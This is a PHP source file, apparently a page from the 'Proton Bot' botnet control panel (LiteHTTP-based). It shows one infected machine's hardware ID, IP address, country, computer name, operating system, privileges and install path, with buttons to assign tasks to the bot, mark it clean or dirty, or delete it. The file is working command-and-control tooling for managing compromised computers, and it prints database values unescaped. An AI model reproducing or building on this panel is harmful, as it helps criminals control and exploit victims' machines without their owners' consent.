<?php
$u = explode(":", $_SESSION['LiteHTTP']);
$username = $u[0];

include 'inc/stats.php';
include 'inc/geo/geoip.inc';
include 'inc/localization.php';
$gi = geoip_open("inc/geo/GeoIP.dat", "");
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Control Panel</title>
	<meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'>
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
	<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
    <link href="css/popup.css" rel="stylesheet" type="text/css" />
	<link href="css/ionicons.min.css" rel="stylesheet" type="text/css" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
</head>
<body class="wysihtml5-supported skin-black fixed">
	<header class="header">
		<a href="?p=main" class="logo">
			Proton Bot
		</a>
		<nav class="navbar navbar-static-top" role="navigation">
			<div class="navbar-right">
                <ul class="nav navbar-nav">
                    <li>
                        <a href = "inc/localization.php?language=ENG">
                            <img src="img/flags/gb.png" alt="English">
						</a>
                    </li>
                    <li>
                        <a style="padding-left:0px" href = "inc/localization.php?language=RU">
                            <img src="img/flags/ru.png" alt="Русский">
                        </a>
                    </li>
					<li class="dropdown user user-menu">
						<a style="padding-left:0px" href="#" class="dropdown-toggle" data-toggle="dropdown">
							<i class="glyphicon glyphicon-user"></i>
							<span><?php echo $username; ?> <i class="caret"></i></span>
						</a>
						<ul class="dropdown-menu">
							<li class="user-footer">
								<div class="pull-left">
									<a href="?p=account" class="btn btn-default btn-flat"><?php print($pageText['editaccount'][0]); ?></a>
								</div>
								<div class="pull-right">
									<a href="?p=logout" class="btn btn-default btn-flat"><?php print($pageText['logout'][0]); ?></a>
								</div>
							</li>
						</ul>
					</li>
				</ul>
			</div>
		</nav>
	</header>
	<div class="wrapper row-offcanvas row-offcanvas-left">
		<aside class="left-side sidebar-offcanvas">
			<section class="sidebar">
				<ul class="sidebar-menu">
					<li>
						<a href="?p=main">
							<i class="fa fa-dashboard"></i> <span> <?php print($pageText['dashboard'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=bots">
							<i class="fa fa-list"></i> <span> <?php print($pageText['bots'][0]); ?> </span>
							<small id ="online-left-bar" class="badge pull-right bg-green">
    							<?php
        							echo $online;
                                ?>
                            </small>
						</a>
					</li>
					<li>
						<a href="?p=tasks">
							<i class="fa fa-bar-chart"></i> <span> <?php print($pageText['tasks'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=settings">
							<i class="fa fa-cog"></i> <span> <?php print($pageText['settings'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=users">
							<i class="fa fa-users"></i> <span> <?php print($pageText['users'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=logs">
							<i class="fa fa-list-alt"></i> <span> <?php print($pageText['logs'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=help">
							<i class="fa fa-question"></i> <span> <?php print($pageText['help'][0]); ?> </span>
						</a>
					</li>
				</ul>
			</section>
		</aside>
		<aside class="right-side">
			<section class="content">
				<div class="row">
					<div class="col-lg-12 col-xs-24">
						<?php
						if (isset($_GET['id']))
						{
							if (!ctype_digit($_GET['id']))
							{
								echo '<div class="alert alert-danger">'.$pageText['IdNotValid'][0].'</div><meta http-equiv="refresh" content="2;url=?p=bots">';
								die();
							}else{
								$cnt = $odb->prepare("SELECT COUNT(*) FROM bots WHERE id = :id");
								$cnt->execute(array(":id" => $_GET['id']));
								if (!($cnt->fetchColumn(0) > 0))
								{
									echo '<div class="alert alert-danger">'.$pageText['IdNotFound'][0].'</div><meta http-equiv="refresh" content="2;url=?p=bots">';
									die();
								}
							}
							if (isset($_GET['del']) && $_GET['del'] == "1")
							{
								$del = $odb->prepare("DELETE FROM bots WHERE id = :id LIMIT 1");
								$del->execute(array(":id" => $_GET['id']));
								$in = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
								$in->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Deleted bot #'.$_GET['id']));
								echo '<div class="alert alert-success">'.$pageText['BotDeleted'][0].'</div><meta http-equiv="refresh" content="2;url=?p=bots">';
								die();
							}
							if (isset($_GET['mark']))
							{
								$m = $_GET['mark'];
								if ($m == "1")
								{
									$mark = $odb->prepare("UPDATE bots SET mark = :mark WHERE id = :id LIMIT 1");
									$mark->execute(array(":mark" => "1", ":id" => $_GET['id']));
									echo '<div class="alert alert-success">'.$pageText['BotMarked'][0].'</div>';
								}elseif ($m == "2"){
									$mark = $odb->prepare("UPDATE bots SET mark = :mark WHERE id = :id LIMIT 1");
									$mark->execute(array(":mark" => "2", ":id" => $_GET['id']));
									echo '<div class="alert alert-success">'.$pageText['BotMarked'][0].'</div>';
								}
							}
						}
						?>
					</div>
					<div class="col-lg-3 col-xs-6"></div>
					<div class="col-lg-6 col-xs-12">
						<center><a href="?p=bots"><i class="fa fa-arrow-left"></i> <?php print($pageText['goback'][0]); ?></a></center><br>
						<table class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th width="50%"><?php print($pageText['key'][0]); ?></th>
									<th width="50%"><?php print($pageText['value'][0]); ?></th>
								</tr>
							</thead>
							<?php
							$details = $odb->prepare("SELECT * FROM bots WHERE id = :id");
							$details->execute(array(":id" => $_GET['id']));
							$d = $details->fetch(PDO::FETCH_ASSOC);
							?>
							<tbody>
								<tr><td>#</td><td><?php echo $d['id']; ?></td></tr>
								<tr><td><?php print($pageText['HWID'][0]); ?></td><td><?php echo $d['bothwid']; ?></td></tr>
								<tr><td><?php print($pageText['ip'][0]); ?></td><td><?php echo $d['ipaddress']; ?></td></tr>
								<tr><td><?php print($pageText['country'][0]); ?></td><td><?php echo geoip_country_name_by_id($gi, $d['country']); echo '&nbsp;&nbsp;<img src="img/flags/'.strtolower(geoip_country_code_by_id($gi, $d['country'])).'.png" />'; ?></td></tr>
								<tr><td><?php print($pageText['installdate'][0]); ?></td><td><?php echo date("m-d-Y, h:i A", $d['installdate']); ?></td></tr>
								<tr><td><?php print($pageText['lastresponse'][0]); ?></td><td><?php echo date("m-d-Y, h:i A", $d['lastresponse']); ?></td></tr>
								<tr><td><?php print($pageText['currenttask'][0]); ?></td><td>#<?php echo $d['currenttask']; ?></td></tr>
								<tr><td><?php print($pageText['computername'][0]); ?></td><td><?php echo $d['computername']; ?></td></tr>
								<tr><td><?php print($pageText['os'][0]); ?></td><td><?php echo $d['operatingsys']; ?></td></tr>
								<tr><td><?php print($pageText['privileges'][0]); ?></td><td><?php echo $d['privileges']; ?></td></tr>
								<tr><td><?php print($pageText['inpat'][0]); ?></td><td><?php echo $d['installationpath']; ?></td></tr>
								<tr><td><?php print($pageText['lastreboot'][0]); ?></td><td><?php echo $d['lastreboot']; ?></td></tr>
								<tr><td><?php print($pageText['botversion'][0]); ?></td><td><?php echo $d['botversion']; ?></td></tr>
							</tbody>
						</table>
						<center>
                        <a href="?p=tasks&botid=<?php echo $d['bothwid']; ?>" class="btn btn-success"><?php print($pageText['newtask'][0]); ?></a>
						<?php
						if ($d['mark'] == "1")
						{
							echo '<h4>'.$pageText['botIsMarkedAs'][0].'<font style="color: green;">'.$pageText['clean'][0].'</font></h4><a class="btn btn-danger" href="?p=details&id='.$_GET['id'].'&mark=2">'.$pageText['markDirty'][0].'</a>';
						}else{
							echo '<h4>'.$pageText['botIsMarkedAs'][0].'<font style="color: red;">'.$pageText['dirty'][0].'</font></h4><a class="btn btn-success" href="?p=details&id='.$_GET['id'].'&mark=1">'.$pageText['markClean'][0].'</a>';
						}
						?>
						<a href="?p=details&id=<?php echo $_GET['id']; ?>&del=1" class="btn btn-danger"><?php print($pageText['deletebot'][0]); ?></a>
                        </center>
					</div>
				</div>
			</section>
		</aside>
	</div>
	<script>
		$(document).ready(function() {
			setInterval(function () {
				$('#online-left-bar').load('../inc/jquery/online.php')
			}, 2000);
		});
	</script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="js/jquery-ui.min.js" type="text/javascript"></script>
</body>
</html>